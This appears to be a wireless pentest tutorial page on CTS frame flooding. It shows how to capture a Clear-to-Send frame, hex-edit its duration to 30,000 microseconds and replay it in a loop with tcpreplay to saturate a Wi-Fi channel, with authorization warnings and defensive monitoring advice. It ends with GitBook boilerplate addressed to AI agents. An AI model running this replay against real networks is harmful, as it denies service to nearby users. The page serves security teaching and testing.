> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).

# CTS Frame Attack - Network Bandwidth Hijacking

Analyze CTS control frames and their effect on wireless medium availability.

The IEEE 802.11 standard defines RTS (*Request to Send*) and CTS (*Clear to Send*) control frames to reduce long collisions caused by hidden nodes.

### RTS and CTS control frames

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCxYTFIdw8tv93vmGcIms%2F%7B82B0E335-2263-4B11-9B72-618A4886B3DA%7D.png?alt=media&amp;token=3621485f-3155-4c77-aafa-3e1c99e4f398" alt="" width="375"><figcaption></figcaption></figure>

A CTS frame includes a duration value. This value is expressed in microseconds and ranges from `0` to `32767`.

### Inspect a CTS frame

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5uQvoWPz5mbQENdJ4Uhl%2F%7BEAF8A9A0-09BB-416E-87C8-EDA22CBE5B5B%7D.png?alt=media&amp;token=6a7328f5-187f-47d4-bd23-5177d4848e90" alt=""><figcaption></figcaption></figure>

An abnormally high duration value can reserve the wireless medium for longer than expected. The receiver address identifies the access point, and the FCS provides frame integrity checking.

{% hint style="warning" %}
Before testing control frames, confirm authorization, target devices, and recovery steps. Manipulated CTS frames can disrupt wireless connectivity.
{% endhint %}

### Capture the authorized network

Start Airodump-ng on the target channel:

{% code overflow="wrap" %}

```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```

{% endcode %}

### Identify CTS frames

Use TShark to display CTS frames from the capture:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

{% endcode %}

The output confirms whether the capture contains CTS (*Clear to Send*) frames.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F8LDlVGnPcS4v2T5T3ayk%2F%7BDF019832-768B-43D6-87BE-7A843690595F%7D.png?alt=media&amp;token=9afe24e4-eea7-4011-80b1-e2ce0fcb3fd5" alt=""><figcaption></figcaption></figure>

### Review duration values

List unique CTS duration values:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```

{% endcode %}

Alternatively, inspect the duration field in JSON output:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJFZw1RMT6zdKcIz7WBig%2F%7BA9746E6B-E7EA-4A42-A192-9F2B7E14BE2C%7D.png?alt=media&amp;token=b48e652f-a728-4e22-af66-ca8a7e34ffb4" alt=""><figcaption></figcaption></figure>

### Validate the impact

Use a dedicated access point and test client. Record a baseline before introducing any test frames.

1. Measure normal throughput, latency, and packet loss.
2. Use the access point BSSID as the receiver address.
3. Compare the measurements after the scoped test.

A duration of `30000` represents 30 milliseconds. The duration field uses microseconds, not milliseconds.

### Interpret the results

Repeated CTS frames with high duration values can cause nearby stations to defer transmission. This reduces available airtime and can lower network throughput.

Compare the captured duration values with the baseline. Record whether clients remain connected and whether performance recovers after the test stops.

### Document defensive findings

Report the affected channel, access point, test duration, and observed client impact. Include the baseline and recovery measurements.

Monitor for repeated CTS frames with unusual duration values. Keep access point firmware current and investigate unexpected airtime saturation.

### Inspect CTS frames with Wireshark

Open the capture directly in Wireshark:

{% code overflow="wrap" %}

```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```

{% endcode %}

Apply the following display filter:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

The IEEE 802.11 details also show the duration value (110 microseconds)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGLJQbWkmcb7GubibzeSm%2F%7B23210DB6-6743-41F1-8332-DF822D6D9D56%7D.png?alt=media&amp;token=5e640d25-5059-4d01-9164-2d54096af7d5" alt=""><figcaption></figcaption></figure>

### Export a selected CTS frame

Select a CTS frame and use **File → Export Specified Packets**. Choose **Selected packet only** to export only that frame.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FnYuPSmnjnpKvaARwIr6L%2F%7B2BE715F8-7661-466E-B708-4A066CF1F918%7D.png?alt=media&amp;token=8b7b9e00-8c98-434e-973b-7429a86d6544" alt=""><figcaption></figcaption></figure>

### Inspect the exported frame with GHex

Open the exported capture with GHex:

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &  
```

{% endcode %}

The exported file may not contain the expected frame. In that case, capture directly from the monitor-mode interface and verify the frame in Wireshark.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fd08nszJEOKhDmoAnXf1W%2F%7B0534BE4D-5D1E-469F-970B-C27922720AEB%7D.png?alt=media&amp;token=2117cfad-2e41-4360-aba2-ba896b7477f9" alt=""><figcaption></figcaption></figure>

### Capture directly with Wireshark

Capture directly when the exported file does not contain the expected CTS frame.

Open Wireshark, select the `wlan0mon` interface, and apply the CTS display filter:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FO2CfilRpIRNAypKoqIwC%2F%7B69AE25D8-57F9-45B4-BDB6-526FF1ABED20%7D.png?alt=media&amp;token=c3391596-c2fe-467a-9908-c9e7121d4939" alt=""><figcaption></figcaption></figure>

For example, the first frame shows a duration of 132 microseconds. Confirm that its destination address matches the authorized test access point.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJP2YnPa6MYGxqGheuGF%2F%7B0E68F015-660F-4787-9FDD-253A19173820%7D.png?alt=media&amp;token=37726b42-e0d6-4f1a-9351-4a310288adbe" alt=""><figcaption></figcaption></figure>

Export the selected frame as `ctsframe.pcap`.

Open the file and locate the duration value. The bytes after the 12-character MAC address are `84 00`.

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FohBOZtHFDaO22nCfRXoY%2F%7B1C5725CF-AAD4-4583-8351-9F97B600C784%7D.png?alt=media&amp;token=4d34fb7d-8bfe-42ff-829b-cfda168055af" alt=""><figcaption></figcaption></figure>

Converting `0x0084` to decimal produces the same value shown in the packet: 132.

{% code overflow="wrap" %}

```
python 

0x0084
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaDHfG66b1LsR2lipdO4M%2F%7B92A2A5B4-9573-4147-89C7-36FB890F5E2F%7D.png?alt=media&amp;token=41cfc760-760f-4063-8107-11840b72f916" alt=""><figcaption></figcaption></figure>

Convert 30000 to hexadecimal:

{% code overflow="wrap" %}

```python
python

hex(30000)
```

{% endcode %}

The result is:

* 0x7530

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNlcsACV20cVlu3EgZzAC%2F%7B4B610428-0F06-4222-862A-2510B08995F4%7D.png?alt=media&amp;token=8235a42b-3fc6-4990-a670-14cf23c56ac3" alt=""><figcaption></figcaption></figure>

For this scoped test, replace `84 00` with `30 75`. The bytes use little-endian order.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsdSUTauJ0CLQSChtCqT2%2F%7B6B478B0A-AAD7-4C45-800C-9BEFB89265AD%7D.png?alt=media&amp;token=61e943eb-8180-4a91-a02f-0fcdc62dcb7c" alt=""><figcaption></figcaption></figure>

Open the capture again to verify the change:

{% code overflow="wrap" %}

```bash
wireshark ctsframe.pcap  > /dev/null 2>&1 & disown
```

{% endcode %}

Wireshark now shows a duration of 30,000 microseconds.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FChz4XHGAXrJAVAbHfg28%2F%7BCF7AAF3A-4C86-46A0-B655-83081F129D76%7D.png?alt=media&amp;token=ed8dcfd7-908b-49c7-891f-ad6bde8c2d61" alt=""><figcaption></figcaption></figure>

Before using the following command, confirm the target device, channel, duration, and recovery window. It repeatedly transmits the test frame to measure network impact.

{% code overflow="wrap" %}

```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null 
```

{% endcode %}

The command loops through 2,000 packets. Each packet advertises a 30,000-microsecond duration, which can exhaust available airtime.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhBcWVuoooxHl2RU7zFL0%2F%7B16E5A880-97BA-4D46-B71C-A6BCF5159476%7D.png?alt=media&amp;token=b267aad2-2db8-45f3-8927-12ff7d7afe9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
